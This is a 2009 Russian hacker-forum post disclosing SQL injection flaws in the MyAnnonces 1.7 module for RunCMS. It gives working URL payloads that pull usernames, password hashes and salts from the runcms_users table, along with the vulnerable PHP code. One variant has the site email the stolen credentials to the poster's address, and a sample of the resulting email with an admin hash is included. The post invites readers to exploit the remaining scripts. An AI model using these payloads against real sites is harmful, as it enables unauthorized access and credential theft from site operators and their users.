Показать сообщение отдельно

  #3  
Старый 21.02.2009, 05:32
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

MyAnnonces
Версия: 1.7
Скачать: http://www.runcms.ru/modules/files/visit.php?lid=94

SQL-INJ
Уязвимый скрипт: addannonces.php
Запрос: /modules/MyAnnonces/addannonces.php?op=addindex&cid=-1+union+select+pass,2+from+runcms_users
Вместо pass поочереди подставляем uname,pwdsalt, т.к. concat заюзать не получится - срабатывает мегахаксорная зашита)
Уязвимый кусок кода:
Уязвимость можно проэксплуатировать только, если есть хоть 1 категория.
PHP код:
switch($op) {    
    case 
"addindex":
    
addindex($cid);
    break; 
PHP код:
function addindex($cid) {
..............
list(
$numrows) = $db->fetch_row($db->query("select cid, title from ".$db->prefix("ann_categories").""));
    
    if (
$numrows>0) {
..............
$requete $db->query("select title, affprix from ".$db->prefix("ann_categories")." where  cid=".$cid."");
list(
$title$affprix) = $db->fetch_row($requete); 
SQL-INJ
Уязвимый скрипт: annonces-p-f.php
Зависимость: magic_quotes = off
Запрос: /modules/MyAnnonces/annonces-p-f.php?op=EnvAnn&lid='+union+select+uname,pwdsalt,p ass+from+runcms_users%23
Уязивмый кусок кода:
PHP код:
switch($op) {

    case 
"EnvAnn":
    
EnvAnn($lid);
    break;
...........
function 
EnvAnn($lid) {
...........
    
$result $db->query("SELECT lid, title, type FROM ".$db->prefix("ann_annonces")." where lid='$lid'");
    list(
$lid$title$type) = $db->fetch_row($result);
    

    echo 
"<B><A HREF=\"index.php\">"._CLA_MAIN."</A> &raquo; "._CLA_SENDTO.$lid \"<B>$type : $title</B>\" 

Запрос: /modules/MyAnnonces/annonces-p-f.php?op=MailAnn&yname=&ymail=&fname=&fmail=blacksun@xakep.ru&lid=-1+union+select+1,pass,uname,pwdsalt,5,6,7,8,9,10,1 1,12,13+from+runcms_users
На указанный email придет письмо вида
Код:
Hello ,

 thought that this advert might interest you and wanted to send it to you.

admin :  dd94709528bb1c83d08f3088d4043f4742891f4f
153a

Price : 6 Ђ 7
Email address : http://localhost/runcms/modules/MyAnnonces/contact.php?lid=1
Telephone : 5
Town : 11
Country : 12

Other adverts are available in teh Classified Adverts section of Mysite
http://{SITE URL}/modules/MyAnnonces/
Уязвимый кусок кода:
PHP код:
switch($op) {
    case 
"MailAnn":
    
MailAnn($lid$yname$ymail$fname$fmail);
    break;
............
function 
MailAnn($lid$yname$ymail$fname$fmail) {
    global 
$xoopsConfig$xoopsUser$db$monnaie$ynprice$myts$meta;
    
$result $db->query("SELECT lid, title, type, description, tel, price, typeprix, date, email, submitter, town, country, photo FROM ".$db->prefix("ann_annonces")." where lid=$lid"); 

Можно обойтись и без отсылки на мыло)
Запрос: /modules/MyAnnonces/annonces-p-f.php?op=ImprAnn&lid=-1+union+select+1,pass,uname,pwdsalt,5,6,7,8,9,10,1 1,12,13+from+runcms_users
Уязвимый кусок кода:
PHP код:
switch($op) {
    case 
"ImprAnn":
    
ImprAnn($lid);
    break;
..............
function 
ImprAnn($lid) {
    global 
$xoopsConfig$db$monnaie$useroffset$claday$ynprice$myts$meta;
    
    
$currenttheme getTheme();
    
$result $db->query("SELECT lid, title, type, description, tel, price, typeprix, date, email, submitter, town, country, photo FROM ".$db->prefix("ann_annonces")." where lid=$lid"); 
Флуд именами\паролями\явками своего \ чужого мыла
Уязвимый скрипт: contact.php
Зависимость: magic_quotes = off
Запрос: /modules/MyAnnonces/contact.php?submit=1&id=-1'+union+select+'blacksun@xakep.ru',2,pass,uname,pwdsalt+from+runcms_users%23
Уязвимый кусок кода:
PHP код:
if ($submit) {
include(
"header.php");
global 
$xoopsConfig$db$myts$meta;

 
$result $db->query("SELECT email, submitter, title, type, description FROM  ".$db->prefix("ann_annonces")." WHERE lid = '$id'");
while(list(
$email$submitter$titre$type$description) = $db->fetch_row($result)) { 
И на этом мне надоело, скриптов в этом модуле еще достаточно и все дырявые .. кто хочет - может добить.

Последний раз редактировалось BlackSun; 23.02.2009 в 13:06..
 
Ответить с цитированием